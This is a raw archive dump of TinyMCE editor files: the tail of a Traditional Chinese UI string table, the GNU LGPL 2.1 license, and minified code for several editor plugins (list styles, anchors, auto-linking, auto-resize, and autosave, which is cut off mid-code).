"Replace all": "\u66ff\u63db\u5168\u90e8",
"Match case": "\u76f8\u5339\u914d\u6848\u4ef6",
"Prev": "\u4e0a\u4e00\u500b",
"Spellcheck": "\u62fc\u5b57\u6aa2\u67e5",
"Finish": "\u5b8c\u6210",
"Ignore all": "\u5ffd\u7565\u6240\u6709",
"Ignore": "\u5ffd\u7565",
"Insert row before":
"\u63d2\u5165\u5217\u5728...\u4e4b\u524d",
"Rows": "\u5217",
"Height": "\u9ad8\u5ea6",
"Paste row after":
"\u8cbc\u4e0a\u5217\u5728...\u4e4b\u5f8c",
"Alignment": "\u5c0d\u9f4a",
"Column group": "\u6b04\u4f4d\u7fa4\u7d44",
"Row": "\u5217",
"Insert column before":
"\u63d2\u5165\u6b04\u4f4d\u5728...\u4e4b\u524d",
"Split cell": "\u5206\u5272\u5132\u5b58\u683c",
"Cell padding": "\u5132\u5b58\u683c\u7684\u908a\u8ddd",
"Cell spacing": "\u5132\u5b58\u683c\u5f97\u9593\u8ddd",
"Row type": "\u884c\u7684\u985e\u578b",
"Insert table": "\u63d2\u5165\u8868\u683c",
"Body": "\u4e3b\u9ad4",
"Caption": "\u8868\u683c\u6a19\u984c",
"Footer": "\u9801\u5c3e",
"Delete row": "\u522a\u9664\u5217",
"Paste row before":
"\u8cbc\u4e0a\u5217\u5728...\u4e4b\u524d",
"Scope": "\u7bc4\u570d",
"Delete table": "\u522a\u9664\u8868\u683c",
"Header cell": "\u6a19\u982d\u5132\u5b58\u683c",
"Column": "\u884c",
"Cell": "\u5132\u5b58\u683c",
"Header": "\u6a19\u982d",
"Cell type": "\u5132\u5b58\u683c\u7684\u985e\u578b",
"Copy row": "\u8907\u88fd\u5217",
"Row properties": "\u5217\u5c6c\u6027",
"Table properties": "\u8868\u683c\u5c6c\u6027",
"Row group": "\u5217\u7fa4\u7d44",
"Right": "\u53f3\u908a",
"Insert column after":
"\u63d2\u5165\u6b04\u4f4d\u5728...\u4e4b\u5f8c",
"Cols": "\u6b04\u4f4d\u6bb5",
"Insert row after":
"\u63d2\u5165\u5217\u5728...\u4e4b\u5f8c",
"Width": "\u5bec\u5ea6",
"Cell properties": "\u5132\u5b58\u683c\u5c6c\u6027",
"Left": "\u5de6\u908a",
"Cut row": "\u526a\u4e0b\u5217",
"Delete column": "\u522a\u9664\u884c",
"Center": "\u4e2d\u9593",
"Merge cells": "\u5408\u4f75\u5132\u5b58\u683c",
"Insert template": "\u63d2\u5165\u6a23\u7248",
"Templates": "\u6a23\u7248",
"Background color": "\u80cc\u666f\u984f\u8272",
"Text color": "\u6587\u5b57\u984f\u8272",
"Show blocks": "\u986f\u793a\u5340\u584a\u8cc7\u8a0a",
"Show invisible characters":
"\u986f\u793a\u96b1\u85cf\u5b57\u5143",
"Words: {0}": "\u5b57\u6578\uff1a{0}",
"Insert": "\u63d2\u5165",
"File": "\u6a94\u6848",
"Edit": "\u7de8\u8f2f",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u8c50\u5bcc\u7684\u6587\u672c\u5340\u57df\u3002\u6309ALT-F9\u524d\u5f80\u4e3b\u9078\u55ae\u3002\u6309ALT-F10\u547c\u53eb\u5de5\u5177\u6b04\u3002\u6309ALT-0\u5c0b\u6c42\u5e6b\u52a9",
"Tools": "\u5de5\u5177",
"View": "\u6aa2\u8996",
"Table": "\u8868\u683c",
"Format": "\u683c\u5f0f"
});PKR��[(��&;g;gtinymce/license.txtnu�[���		 
GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License
because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the
library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or
data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or
work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work
for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the
Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header
file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms
and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

		     END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what
it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 
02110-1301  USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James
Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!


PKR��[�z++%tinymce/plugins/advlist/plugin.min.jsnu�[���tinymce.PluginManager.add("advlist",function(e){function
t(t){return e.$.contains(e.getBody(),t)}function n(e){return
e&&/^(OL|UL|DL)$/.test(e.nodeName)&&t(e)}function
r(e,t){var n=[];return t&&tinymce.each(t.split(/[
,]/),function(e){n.push({text:e.replace(/\-/g,"
").replace(/\b\w/g,function(e){return
e.toUpperCase()}),data:"default"==e?"":e})}),n}function
i(t,n){e.undoManager.transact(function(){var
r,i=e.dom,o=e.selection;if(r=i.getParent(o.getNode(),"ol,ul"),!r||r.nodeName!=t||n===!1){var
a={"list-style-type":n?n:""};e.execCommand("UL"==t?"InsertUnorderedList":"InsertOrderedList",!1,a)}r=i.getParent(o.getNode(),"ol,ul"),r&&tinymce.util.Tools.each(i.select("ol,ul",r).concat([r]),function(e){e.nodeName!==t&&n!==!1&&(e=i.rename(e,t)),i.setStyle(e,"listStyleType",n?n:null),e.removeAttribute("data-mce-style")}),e.focus()})}function
o(t){var
n=e.dom.getStyle(e.dom.getParent(e.selection.getNode(),"ol,ul"),"listStyleType")||"";t.control.items().each(function(e){e.active(e.settings.data===n)})}var
a,s,l=function(e,t){var
n=e.settings.plugins?e.settings.plugins:"";return
tinymce.util.Tools.inArray(n.split(/[
,]/),t)!==-1};a=r("OL",e.getParam("advlist_number_styles","default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman")),s=r("UL",e.getParam("advlist_bullet_styles","default,circle,disc,square"));var
c=function(t){return function(){var
r=this;e.on("NodeChange",function(e){var
i=tinymce.util.Tools.grep(e.parents,n);r.active(i.length>0&&i[0].nodeName===t)})}};l(e,"lists")&&(e.addCommand("ApplyUnorderedListStyle",function(e,t){i("UL",t["list-style-type"])}),e.addCommand("ApplyOrderedListStyle",function(e,t){i("OL",t["list-style-type"])}),e.addButton("numlist",{type:a.length>0?"splitbutton":"button",tooltip:"Numbered
list",menu:a,onPostRender:c("OL"),onshow:o,onselect:function(e){i("OL",e.control.settings.data)},onclick:function(){i("OL",!1)}}),e.addButton("bullist",{type:s.length>0?"splitbutton":"button",tooltip:"Bullet
list",onPostRender:c("UL"),menu:s,onshow:o,onselect:function(e){i("UL",e.control.settings.data)},onclick:function(){i("UL",!1)}}))});PKR��[�,Ӳ��$tinymce/plugins/anchor/plugin.min.jsnu�[���tinymce.PluginManager.add("anchor",function(e){var
t=function(e){return!e.attr("href")&&(e.attr("id")||e.attr("name"))&&!e.firstChild},n=function(e){return
function(n){for(var
r=0;r<n.length;r++)t(n[r])&&n[r].attr("contenteditable",e)}},r=function(e){return/^[A-Za-z][A-Za-z0-9\-:._]*$/.test(e)},i=function(){var
t=e.selection.getNode(),n="A"==t.tagName&&""===e.dom.getAttrib(t,"href"),i="";n&&(i=t.id||t.name||""),e.windowManager.open({title:"Anchor",body:{type:"textbox",name:"id",size:40,label:"Id",value:i},onsubmit:function(i){var
o=i.data.id;return
r(o)?void(n?(t.removeAttribute("name"),t.id=o):(e.selection.collapse(!0),e.execCommand("mceInsertContent",!1,e.dom.createHTML("a",{id:o})))):(i.preventDefault(),void
e.windowManager.alert("Id should start with a letter, followed only by
letters, numbers, dashes, dots, colons or
underscores."))}})};tinymce.Env.ceFalse&&e.on("PreInit",function(){e.parser.addNodeFilter("a",n("false")),e.serializer.addNodeFilter("a",n(null))}),e.addCommand("mceAnchor",i),e.addButton("anchor",{icon:"anchor",tooltip:"Anchor",onclick:i,stateSelector:"a:not([href])"}),e.addMenuItem("anchor",{icon:"anchor",text:"Anchor",context:"insert",onclick:i})});PKR��[�Pt&tinymce/plugins/autolink/plugin.min.jsnu�[���tinymce.PluginManager.add("autolink",function(e){function
t(e){i(e,-1,"(",!0)}function n(e){i(e,0,"",!0)}function
r(e){i(e,-1,"",!1)}function i(e,t,n){function
r(e,t){if(t<0&&(t=0),3==e.nodeType){var
n=e.data.length;t>n&&(t=n)}return t}function
i(e,t){1!=e.nodeType||e.hasChildNodes()?s.setStart(e,r(e,t)):s.setStartBefore(e)}function
o(e,t){1!=e.nodeType||e.hasChildNodes()?s.setEnd(e,r(e,t)):s.setEndAfter(e)}var
s,l,c,u,d,f,p,m,g,h;if("A"!=e.selection.getNode().tagName){if(s=e.selection.getRng(!0).cloneRange(),s.startOffset<5){if(m=s.endContainer.previousSibling,!m){if(!s.endContainer.firstChild||!s.endContainer.firstChild.nextSibling)return;m=s.endContainer.firstChild.nextSibling}if(g=m.length,i(m,g),o(m,g),s.endOffset<5)return;l=s.endOffset,u=m}else{if(u=s.endContainer,3!=u.nodeType&&u.firstChild){for(;3!=u.nodeType&&u.firstChild;)u=u.firstChild;3==u.nodeType&&(i(u,0),o(u,u.nodeValue.length))}l=1==s.endOffset?2:s.endOffset-1-t}c=l;do
i(u,l>=2?l-2:0),o(u,l>=1?l-1:0),l-=1,h=s.toString();while("
"!=h&&""!==h&&160!=h.charCodeAt(0)&&l-2>=0&&h!=n);s.toString()==n||160==s.toString().charCodeAt(0)?(i(u,l),o(u,c),l+=1):0===s.startOffset?(i(u,0),o(u,c)):(i(u,l),o(u,c)),f=s.toString(),"."==f.charAt(f.length-1)&&o(u,c-1),f=s.toString(),p=f.match(a),p&&("www."==p[1]?p[1]="http://www.":/@$/.test(p[1])&&!/^mailto:/.test(p[1])&&(p[1]="mailto:"+p[1]),d=e.selection.getBookmark(),e.selection.setRng(s),e.execCommand("createlink",!1,p[1]+p[2]),e.settings.default_link_target&&e.dom.setAttrib(e.selection.getNode(),"target",e.settings.default_link_target),e.selection.moveToBookmark(d),e.nodeChanged())}}var
o,a=/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.|(?:mailto:)?[A-Z0-9._%+\-]+@)(.+)$/i;return
e.settings.autolink_pattern&&(a=e.settings.autolink_pattern),e.on("keydown",function(t){if(13==t.keyCode)return
r(e)}),tinymce.Env.ie?void
e.on("focus",function(){if(!o){o=!0;try{e.execCommand("AutoUrlDetect",!1,!0)}catch(e){}}}):(e.on("keypress",function(n){if(41==n.keyCode)return
t(e)}),void e.on("keyup",function(t){if(32==t.keyCode)return
n(e)}))});PKS��[H��oo(tinymce/plugins/autoresize/plugin.min.jsnu�[���tinymce.PluginManager.add("autoresize",function(e){function
t(){return
e.plugins.fullscreen&&e.plugins.fullscreen.isFullscreen()}function
n(r){var
a,s,l,c,u,d,f,p,m,g,h,v,b=tinymce.DOM;if(s=e.getDoc()){if(l=s.body,c=s.documentElement,u=i.autoresize_min_height,!l||r&&"setcontent"===r.type&&r.initial||t())return
void(l&&c&&(l.style.overflowY="auto",c.style.overflowY="auto"));f=e.dom.getStyle(l,"margin-top",!0),p=e.dom.getStyle(l,"margin-bottom",!0),m=e.dom.getStyle(l,"padding-top",!0),g=e.dom.getStyle(l,"padding-bottom",!0),h=e.dom.getStyle(l,"border-top-width",!0),v=e.dom.getStyle(l,"border-bottom-width",!0),d=l.offsetHeight+parseInt(f,10)+parseInt(p,10)+parseInt(m,10)+parseInt(g,10)+parseInt(h,10)+parseInt(v,10),(isNaN(d)||d<=0)&&(d=tinymce.Env.ie?l.scrollHeight:tinymce.Env.webkit&&0===l.clientHeight?0:l.offsetHeight),d>i.autoresize_min_height&&(u=d),i.autoresize_max_height&&d>i.autoresize_max_height?(u=i.autoresize_max_height,l.style.overflowY="auto",c.style.overflowY="auto"):(l.style.overflowY="hidden",c.style.overflowY="hidden",l.scrollTop=0),u!==o&&(a=u-o,b.setStyle(e.iframeElement,"height",u+"px"),o=u,tinymce.isWebKit&&a<0&&n(r))}}function
r(t,i,o){tinymce.util.Delay.setEditorTimeout(e,function(){n({}),t--?r(t,i,o):o&&o()},i)}var
i=e.settings,o=0;e.settings.inline||(i.autoresize_min_height=parseInt(e.getParam("autoresize_min_height",e.getElement().offsetHeight),10),i.autoresize_max_height=parseInt(e.getParam("autoresize_max_height",0),10),e.on("init",function(){var
t,n;t=e.getParam("autoresize_overflow_padding",1),n=e.getParam("autoresize_bottom_margin",50),t!==!1&&e.dom.setStyles(e.getBody(),{paddingLeft:t,paddingRight:t}),n!==!1&&e.dom.setStyles(e.getBody(),{paddingBottom:n})}),e.on("nodechange
setcontent keyup
FullscreenStateChanged",n),e.getParam("autoresize_on_init",!0)&&e.on("init",function(){r(20,100,function(){r(5,1e3)})}),e.addCommand("mceAutoResize",n))});PKS��[�$z���&tinymce/plugins/autosave/plugin.min.jsnu�[���tinymce._beforeUnloadHandler=function(){var
e;return
tinymce.each(tinymce.editors,function(t){t.plugins.autosave&&t.plugins.autosave.storeDraft(),!e&&t.isDirty()&&t.getParam("autosave_ask_before_unload",!0)&&(e=t.translate("You
have unsaved changes are you sure you want to navigate
away?"))}),e},tinymce.PluginManager.add("autosave",function(e){function
t(e,t){var n={s:1e3,m:6e4};return
e=/^(\d+)([ms]?)$/.exec(""+(e||t)),(e[2]?n[e[2]]:1)*parseInt(e,10)}function
n(){var e=parseInt(p.getItem(u+"time"),10)||0;return!((new
Date).getTime()-e>f.autosave_retention)||(r(!1),!1)}function
r(t){p.removeItem(u+"draft"),p.removeItem(u+"time"),t!==!1&&e.fire("RemoveDraft")}function
i(){!c()&&e.isDirty()&&(p.setItem(u+"draft",e.getContent({format:"raw",no_events:!0})),p.setItem(u+"time",(new
Date).getTime()),e.fire("StoreDraft"))}function
o(){n()&&(e.setContent(p.getItem(u+"draft"),{format:"raw"}),e.fire("RestoreDraft"))}function
a(){d||(setInterval(function(){e.removed||i()},f.autosave_interval),d=!0)}function
s(){var t=this;t.disabled(!n()),e.on("StoreDraft RestoreDraft
RemoveDraft",function(){t.disabled(!n())}),a()}function
l(){e.undoManager.beforeChange(),o(),r(),e.undoManager.add()}function
c(t){var n=e.settings.forced_root_block;return
t=tinymce.trim("undefined"==typeof
t?e.getBody().innerHTML:t),""===t||new
RegExp("^<"+n+"[^>]*>((\xa0|&nbsp;|[
